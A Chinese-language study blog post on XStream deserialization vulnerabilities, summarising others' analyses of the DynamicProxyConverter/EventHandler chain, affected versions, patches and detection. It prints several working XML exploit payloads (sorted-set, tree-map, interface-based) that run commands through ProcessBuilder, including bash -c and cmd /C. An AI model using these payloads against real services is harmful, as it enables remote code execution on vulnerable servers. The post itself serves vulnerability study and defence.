XStream反序列化漏洞学习

本文通过师傅们文章的学习、汇总来学习XStream

什么是XStream

XStream是一个实现javaBeanXML互相转换的工具。
它是一种OXMapping技术,是用来处理XML文件序列化的框架。Xstream不需要其它辅助类和映射文件,可以将JavaBean序列化成XML、json或将XMLjaon反序列化成JavaBean,使用非常方便。
使用XStream序列化时,对JavaBean没有任何限制。JavaBean的字段可以是私有的,也可以没有gettersetter方法,还可以没有默认的构造函数。
XStream的序列化和反序列化主要依靠toXML函数和fromXML函数

XStream使用教程

xstream依赖如下:

1
2
3
4
5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.19</version>
</dependency>

1.4.18及其之后的版本由于对象默认开启安全防护,添加这条语句解决问题。尽量限制最低权限。这样才能将XML反序列化成bean

1
xstream.addPermission(AnyTypePermission.ANY);

添加如下依赖才能将XML反序列化成json

1
2
3
4
5
<dependency>
<groupId>org.codehaus.jettison</groupId>
<artifactId>jettison</artifactId>
<version>1.5.0</version>
</dependency>

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//com.alte.Person.java
public class Person {
private String name;
private int age;
public Person(String name,int age)
{
this.name=name;
this.age=age;
}
public String output()
{
return "Person [name=" + name + ", age=" + age + "]";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// com.alte.Test.java
public class Test {
public static void main(String[] args)
{
Person bean=new Person("张三",19);
XStream xstream = new XStream();//需要XPP3库
// XStream xstream = new XStream(new DomDriver());//不需要XPP3库
// XStream xstream = new XStream(new StaxDriver());//不需要XPP3库开始使用Java6
//XML序列化
String xml = xstream.toXML(bean);
System.out.println("bean -> xml:\n"+xml+"\n");
//1.4.18及其之后的版本由于对象默认开启安全防护,添加这条语句解决问题。尽量限制最低权限。
xstream.addPermission(AnyTypePermission.ANY);

//XML反序列化
bean=(Person)xstream.fromXML(xml);
System.out.println("xml -> bean:\n"+bean.output()+"\n");

//增加依赖jettison
xstream = new XStream(new JettisonMappedXmlDriver());//设置Json解析器
xstream.setMode(XStream.NO_REFERENCES);//设置reference模型,不引用
xstream.addPermission(AnyTypePermission.ANY);
//Json序列化
String json=xstream.toXML(bean);
System.out.println("bean -> jaon:\n"+json+"\n");
//Json反序列
bean=(Person)xstream.fromXML(json);
System.out.println("json -> bean:\n"+bean.output()+"\n");
}
}

执行结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bean -> xml:
<com.alter.Person>
<name>张三</name>
<age>19</age>
</com.alter.Person>

xml -> bean:
Person [name=张三, age=19]

bean -> jaon:
{"com.alter.Person":{"name":"张三","age":19}}

json -> bean:
Person [name=张三, age=19]

前置知识

Converter转换器

XStream的核心包括一个Converters的注册表。Converters的责任是提供一种策略,用于将对象图中找到的特定类型的对象与XML之间进行转换。
XStream为常见类型(如原语、字符串、文件、集合、数组和日期)提供了转换器。
转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

详情请见官网

DynamicProxyConverter

DynamicProxyConverter即动态代理转换器,是XStream支持的一种转换器,其存在使得XStream能够把XML内容反序列化转换为动态代理类对象
它支持的类型是任何由java.lang.reflect.Proxy生成的动态代理
动态代理本身没有被序列化,但是它实现的接口和实际的InvocationHandler实例被序列化了。这允许代理在反序列化后被重新构建。
官网给的例子如下:

1
2
3
4
5
6
7
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>

dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blahcom.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler

Seebug的分析思路

这节介绍的是Seebug上的思路
在上面代码的Person.java文件中添加readObject方法

1
2
3
4
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("Person readObject\n");
}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bean -> xml:
<com.alter.Person serialization="custom">
<com.alter.Person>
<default>
<age>19</age>
<name>张三</name>
</default>
</com.alter.Person>
</com.alter.Person>

Person readObject

xml -> bean:
Person [name=张三, age=19]

bean -> jaon:
{"com.alter.Person":{"@serialization":"custom","com.alter.Person":{"default":{"age":19,"name":"张三"}}}}

Person readObject

json -> bean:
Person [name=张三, age=19]

可以明显的发现当bean转为xmljson时存在差异性,另外在执行fromXML()方法时(即反序列化时)先执行了readObject方法。
可以看到,调用栈如下:
1
首先通过fromXML(String xml)传入xml

1
2
3
4
5
6
7
8
<com.alter.Person serialization="custom">
<com.alter.Person>
<default>
<age>19</age>
<name>张三</name>
</default>
</com.alter.Person>
</com.alter.Person>

然后xml转成Reader
2
然后经过

1
2
3
unmarshal(this.hierarchicalStreamDriver.createReader(reader), (Object)null)
unmarshal(reader, root, (DataHolder)null);
marshallingStrategy.unmarshal(root, reader, (DataHolder)dataHolder, this.converterLookup, this.mapper)

进入上述过程的最后一个方法体内
3
来到com.thoughtworks.xstream.core.TreeUnmarshaller类的start方法,关键代码在于convertAnother((Object)null, type),可以看到,type值为class com.alter.Person
4
然后经过

1
2
convertAnother((Object)null, type)
convertAnother(parent, type, (Converter)null)

上述过程最后一个方法是同文件的convertAnother方法。
起初,当converter == null时会获取一个converter,翻译为为转换器,XStream的思路是通过不同的converter来处理序列化数据中不同类型的数据。
5
跟进去看一下,可以发现实现了Serializable接口并且重写了readObject方法的Person类返回的是SerializableConverter
6
后面经过测试发现,如果只实现了Serializable接口但是没有重写readObject方法,这样返回的是ReflectionConverter
convertAnother方法会返回convert方法
7
然后经历

1
2
3
4
5
6
7
8
convert(parent, type, converter)
converter.unmarshal(this.reader, this)
doUnmarshal(result, reader, context) //result = Person
serializationMembers.callReadObject(currentType[0], result, objectInputStream)
readObjectMethod.invoke(object, stream) //readObjectMethod = private void com.alter.Person.readObject(java.io.ObjectInputStream) throws java.io.IOException,java.lang.ClassNotFoundException
ma.invoke(obj, args)
delegate.invoke(obj, args)
invoke0(method, obj, args)

最后执行到Person#readObject方法。
这样的话,思路就清晰了,只要找到一条利用链,就能进行反序列化攻击了。

Mi1k7ea师傅分析思路

这节介绍的是Mi1k7ea师傅的分析思路

影响版本

1.4.x系列版本中,<=1.4.6=1.4.10

基本原理

XStream是自己实现的一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,这便与原生的Java序列化和反序列化机制有所区别,因此两者的反序列化漏洞也是有着很大区别的。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XMLdynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

基于sorted-set的PoC

适用范围

1.4.51.4.61.4.10

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

<!--创建多条命令-->
<!-- Windows-->
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/C</string>
<string>md</string>
<string>alter</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
<!-- Linux-->
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>mkdir alter</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

详细的调试分析可参考Mi1k7ea师傅的文章
下面引用Mi1k7ea师傅的总结:
我们在PoC中构造了一对sorted-set标签,其中包含实现了Comparable接口的dynamic-proxy标签,该代理标签中又包含一个指向EventHandlerhandler标签,而Eventhandler中则包含了一个ProcessBuildertarget和值为startaction
XStream反序列化过程中,解析XML,将sorted-set标签识别出对应的TreeSetConverter转换器,再识别出sorted-set标签内有两个子元素,即string标签和dynamic-proxy标签;string标签会被识别出StringConverter转换器来解析出string标签内的字符串foodynamic-proxy标签会被识别出对应的DynamicProxyConverter转换器来解析出动态代理类对象;最后由于TreeSetConverter会对比两个子元素即调用$Proxy0.compareTo()来比较,而dynamic-proxy标签内实现了Comparable接口,因此由动态代理机制会触发dynamic-proxy标签内的handler标签指向的EventHandler类方法,从而利用反射机制实现任意代码执行。

无法通杀<=1.3.1版本的原因

<=1.3.1以下版本不能成功识别出根标签sorted-set的类,也就是说低版本并不支持sorted-set

无法通杀1.4-1.4.5版本的原因

先看下TreeSetConverter.unmarshal()中的代码逻辑,当sortedMapField不为null时,treeMap才有可能不为nulltreeMap不为null才能进入populateTreeMap()
8
1.4-1.4.4版本中,sortedMapField默认为null,因此无法成功利用;而在>=1.4.5版本中,sortedMapField默认不为null,因此能成功利用

无法通杀1.4.7-1.4.9版本的原因

1.4.7版本的Change Log中有这么一句:

1
java.bean.EventHandler no longer handled automatically because of severe security vulnerability.

ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤,导致不能成功利用
9

1.4.10能够成功的原因

1.4.10中发现ReflectionConverter.canConvert()函数中把对EventHandler类的过滤又去掉了:
10
在利用的过程中虽然能够成功触发,但是控制台会输出提示未初始化XStream安全框架、会存在漏洞风险:

1
Security framework of XStream not initialized, XStream is probably vulnerable.

1.4.11修补方式

使用1.4.11运行,报错内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Security framework of XStream not initialized, XStream is probably vulnerable.
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected.
---- Debugging information ----
message : Security alert. Unmarshalling rejected.
class : java.beans.EventHandler
required-type : java.beans.EventHandler
converter-type : com.thoughtworks.xstream.XStream$InternalBlackList
path : /sorted-set/dynamic-proxy/handler
line number : 5
class[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
required-type[1] : com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
converter-type[1] : com.thoughtworks.xstream.converters.extended.DynamicProxyConverter
class[2] : java.util.TreeSet
required-type[2] : java.util.TreeSet
converter-type[2] : com.thoughtworks.xstream.converters.collections.TreeSetConverter
version : 1.4.11

先提醒未初始化安全框架,然后报错显示安全警告、拒绝反序列化目标类
此时,增加如下代码即可正常弹出计算器

1
xstream.addPermission(AnyTypePermission.ANY);

从报错信息中能够看到,1.4.11以后的版本XStream新增了一个Converter类InternalBlackList,其实现的canConverter()方法中对

  • EventHandler
  • $LazyIterator结尾的类
  • javax.crypto.开头的类

都进行了匹配,而其marshal()unmarshal()方法都是直接抛出异常的,换句话说就是匹配成功的直接抛出异常即黑名单过滤。
XStream.setupConverters()函数中注册转换器时,InternalBlackList的优先级为PRIORITY_LOW高于ReflectionConverter的优先级PRIORITY_VERY_LOW,因此会优先判断。
当要寻找EventHandler类的转换器时,会返回InternalBlackList转换器。当调用该InternalBlackList转换器的unmarshal()方法时,直接抛出异常。

基于tree-map的PoC

影响版本

通杀1.4.x系列有漏洞的版本,即<=1.4.6=1.4.10

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>

这里涉及到的转换器是TreeMapConverter,至于其整个调用过程以及原理和前面sorted-setsorted-setTreeSetConverter)的差不多,只是转换器不一样了。

能通杀1.4-1.4.6版本的原因

因为本次payload用的是TreeMapConverter转换器,和前面TreeSetConverter不一样,这里不存在类似sortedMapField是否为null的限制,因为两个转换器的代理逻辑完全不一样。

无法通杀<=1.3.1版本的原因

运行PoC会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用
TreeMapConverter.unmarshal()中看到,判断子标签节点是否有comparator,若两个if判断条件都不满足则直接抛出异常,不会进入后面的populateMap()函数,因此也不会成功触发。

无法通杀1.4.7-1.4.9版本的原因

和前面基于sorted-setPoC的原因是一样的。

基于接口的PoC

影响版本

通杀1.4.x系列有漏洞的版本,即<=1.4.6=1.4.10。但是缺点是,我们必须得知道服务端反序列化得到的是啥接口类。

接口特征

一般的,基于接口类型的payload,是需要按照接口形式来编写的,即interface标签内容指向接口类。比如官网给的例子,其中Contact是个接口类:

1
2
3
4
5
6
7
8
9
10
11
12
13
<contact>
<dynamic-proxy>
<interface>org.company.model.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
<handler>
</dynamic-proxy>
</contact>
1
2
XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);

这种方式是基于服务端解析XML之后会直接调用到XMLinterface标签指向的接口类声明的方法,因此这种情形下必然会触发动态代理类对象的恶意方法。

复现

这个payload更为简单直接,不需要在dynamic-proxy外再加其他的转换器,直接利用的DynamicProxyConverter转换器来识别:

1
2
3
4
5
6
7
8
9
10
11
<dynamic-proxy>
<interface>com.alter.IPerson</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>

还有一点需要注意的是,IPerson接口类必须定义成public即公有的,否则程序运行会报错显示没有权限访问该接口类。

无法通杀<=1.3.1版本的原因

尝试攻击会报以下错误,说是不能创建EventHandler类对象、因为其没有无参构造函数:

1
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Cannot construct java.beans.EventHandler as it does not have a no-args constructor : Cannot construct java.beans.EventHandler as it does not have a no-args constructor

无法通杀1.4.7-1.4.9版本的原因

和前面基于sorted-setPoC的原因是一样的。

检测与防御

检测方法

查看目标环境中是否有存在漏洞版本的XStreamjar包,即1.4.x系列版本中<=1.4.6=1.4.10
全局搜索是否存在Xstream.fromXML(的地方,若存在则进一步分析该参数是否外部可控;若为1.4.10版本的还需要确认是否开启了安全配置进行了有效的防御;

防御方法

参考Mi1k7ea师傅的文章

wh1t3p1g师傅的分析思路

这节介绍wh1t3p1g师傅的分析回顾XStream反序列化漏洞XStream 1.4.15 Blacklist Bypass
在第一篇文章中,也总结了Mi1k7ea师傅文章中的内容。
这里引用师傅的一句话:需要记住的是XStream他的触发方式依赖的是HashMapTreeSet这种类型自动调用的hashCodecompareTo串起来的,后续可以注意一下这种可能的调用链。
wh1t3p1g师傅提到的所有POC,已经更新到GitHub

JNDI-Injection-Exploit工具,当jdk版本较高时,trustURLCodebase配置默认为false,如果要绕过这个配置必须得依靠tomcat,因此才要采用Tomcat 8+的那个payload

总结

漏洞点有以下两处:

  • 当系统给的Bean实现了Serializable并且重写了readObject方法时,反序列化时会执行重写的readObject方法
  • XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XMLdynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。
    wh1t3p1g师傅的话说就是XStream的触发方式依赖的是HashMapTreeSet这种类型自动调用的hashCodecompareTo串起来的

总的来说,XStream这部分的漏洞还是比较庞杂的,写到这里我其实并没有完全的理解和消化,只能随着比赛或者其他学习增长经验

Reference

https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://blog.0kami.cn/2020/04/18/java/talk-about-xstream-deserialization/
https://blog.0kami.cn/2021/01/03/java-xstream-blacklist-bypass/
https://paper.seebug.org/1543/#5-cve-2021-21351